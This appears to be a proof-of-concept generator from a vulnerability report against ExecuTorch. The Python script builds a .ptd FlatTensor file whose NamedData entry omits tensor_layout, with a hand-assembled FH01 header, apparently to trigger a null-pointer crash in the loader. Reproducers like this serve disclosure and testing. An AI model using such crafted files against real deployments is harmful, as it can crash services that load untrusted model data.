#!/usr/bin/env python3
"""
Generates poc_null_tensor_layout.ptd — a well-formed .ptd (FlatTensor) file
whose single NamedData entry omits the optional tensor_layout field.

Requires: flatc (built from the ExecuTorch source tree's vendored
third-party/flatbuffers, or any flatc >= 2.x with the project's
flat_tensor.fbs / scalar_type.fbs schema files).

Usage:
    python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc
"""
import os
import struct
import subprocess
import sys
import tempfile


def build(schema_dir: str, flatc: str, out_path: str) -> None:
    with tempfile.TemporaryDirectory() as d:
        for fname in ("flat_tensor.fbs", "scalar_type.fbs"):
            with open(os.path.join(schema_dir, fname), "rb") as src:
                data = src.read()
            with open(os.path.join(d, fname), "wb") as dst:
                dst.write(data)

        # NamedData entry with key + segment_index set, tensor_layout OMITTED.
        json_path = os.path.join(d, "flat_tensor.json")
        with open(json_path, "w") as f:
            f.write(
                """{
  "version": 0,
  "segments": [ { "offset": 0, "size": 16 } ],
  "named_data": [
    { "key": "weight_no_layout", "segment_index": 0 }
  ]
}"""
            )

        subprocess.run(
            [flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"],
            cwd=d,
            check=True,
        )

        with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f:
            raw_fb = f.read()

    # --- Insert the FlatTensorHeader (extended header) per
    # extension/flat_tensor/serialize/flat_tensor_header.h ---
    EXPECTED_MAGIC = b"FH01"
    HEADER_LEN = 40  # magic(4) + length(4) + fb_offset(8) + fb_size(8) + seg_base(8) + seg_size(8)
    FLATBUFFER_ALIGNMENT = 16
    SEGMENT_ALIGNMENT = 128

    def aligned_size(n, align):
        return (n + align - 1) // align * align

    def pad_to(data, length):
        assert len(data) <= length
        return data + bytes(length - len(data))

    def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes:
        root_offset = int.from_bytes(flatbuffer_data[0:4], "little")
        return (
            (root_offset + len(header_data)).to_bytes(4, "little")
            + flatbuffer_data[4:8]
            + header_data
            + flatbuffer_data[8:]
        )

    padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT)
    segment_data = bytes([0x11] * 16)  # matches segments[0].size == 16

    flatbuffer_offset = padded_header_length
    flatbuffer_size = len(raw_fb)
    segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT)
    segment_data_size = len(segment_data)

    header_data = (
        EXPECTED_MAGIC
        + struct.pack("<I", HEADER_LEN)
        + struct.pack("<Q", flatbuffer_offset)
        + struct.pack("<Q", flatbuffer_size)
        + struct.pack("<Q", segment_base_offset)
        + struct.pack("<Q", segment_data_size)
    )
    header_data = pad_to(header_data, padded_header_length)

    injected = insert_header(raw_fb, header_data)
    injected = pad_to(injected, segment_base_offset)
    final = injected + segment_data

    with open(out_path, "wb") as f:
        f.write(final)

    print(f"Wrote {out_path} ({len(final)} bytes)")


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(__doc__)
        sys.exit(1)
    build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_null_tensor_layout.ptd"))